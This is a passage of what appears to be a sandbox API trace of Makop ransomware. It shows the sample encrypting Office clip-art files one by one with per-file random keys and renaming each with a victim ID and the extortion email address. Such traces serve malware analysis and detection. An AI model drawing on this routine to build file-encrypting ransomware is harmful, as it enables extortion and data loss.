nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.238] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.238] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.239] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.239] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.239] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.239] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1028, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1028, lpOverlapped=0x0) returned 1 [0121.243] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1030, dwBufLen=0x1030 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1030) returned 1 [0121.243] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.243] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1030, lpOverlapped=0x0) returned 1 [0121.244] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.244] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.244] SetEndOfFile (hFile=0xf0) returned 1 [0121.251] GetProcessHeap () returned 0x48a0000 [0121.251] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.251] GetProcessHeap () returned 0x48a0000 [0121.251] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.251] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.251] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.253] CloseHandle (hObject=0xf0) returned 1 [0121.253] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e10, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107308.WMF", cAlternateFileName="")) returned 1 [0121.253] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0121.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.254] GetProcessHeap () returned 0x48a0000 [0121.254] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.254] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.254] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.254] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.254] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.254] GetProcessHeap () returned 0x48a0000 [0121.254] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.254] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.254] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.254] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.259] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.259] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.260] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.260] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.260] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.260] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.260] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.260] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.260] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3e10, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3e10, lpOverlapped=0x0) returned 1 [0121.262] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3e10, dwBufLen=0x3e10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3e10) returned 1 [0121.262] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.262] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3e10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3e10, lpOverlapped=0x0) returned 1 [0121.262] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.262] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.263] SetEndOfFile (hFile=0xf0) returned 1 [0121.270] GetProcessHeap () returned 0x48a0000 [0121.270] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.270] GetProcessHeap () returned 0x48a0000 [0121.270] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.270] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.272] CloseHandle (hObject=0xf0) returned 1 [0121.272] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107314.WMF", cAlternateFileName="")) returned 1 [0121.272] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0121.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.273] GetProcessHeap () returned 0x48a0000 [0121.273] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.273] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.273] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.273] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0121.277] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.277] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.277] GetProcessHeap () returned 0x48a0000 [0121.277] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.277] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.277] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.277] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.277] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.278] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.278] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.278] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.278] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.278] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.279] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a64, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a64, lpOverlapped=0x0) returned 1 [0121.280] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a70, dwBufLen=0x2a70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a70) returned 1 [0121.280] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.280] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2a70, lpOverlapped=0x0) returned 1 [0121.281] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.281] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2b44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.281] SetEndOfFile (hFile=0xf0) returned 1 [0121.288] GetProcessHeap () returned 0x48a0000 [0121.288] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.288] GetProcessHeap () returned 0x48a0000 [0121.288] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.288] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.288] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.290] CloseHandle (hObject=0xf0) returned 1 [0121.290] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107316.WMF", cAlternateFileName="")) returned 1 [0121.291] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0121.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.292] GetProcessHeap () returned 0x48a0000 [0121.293] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.293] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.293] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.293] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.297] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.297] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.297] GetProcessHeap () returned 0x48a0000 [0121.297] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.297] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.297] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.297] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.297] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.297] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.298] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.298] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.298] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.298] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.298] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.298] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.298] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2c18, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2c18, lpOverlapped=0x0) returned 1 [0121.300] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c20, dwBufLen=0x2c20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c20) returned 1 [0121.300] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.300] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2c20, lpOverlapped=0x0) returned 1 [0121.300] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.300] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.301] SetEndOfFile (hFile=0xf0) returned 1 [0121.308] GetProcessHeap () returned 0x48a0000 [0121.308] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.308] GetProcessHeap () returned 0x48a0000 [0121.308] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.308] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.308] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.310] CloseHandle (hObject=0xf0) returned 1 [0121.310] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1984, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107328.WMF", cAlternateFileName="")) returned 1 [0121.310] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0121.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.313] GetProcessHeap () returned 0x48a0000 [0121.313] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.313] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.313] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.313] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0121.317] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.317] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.317] GetProcessHeap () returned 0x48a0000 [0121.317] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.317] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.317] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.318] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.320] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, 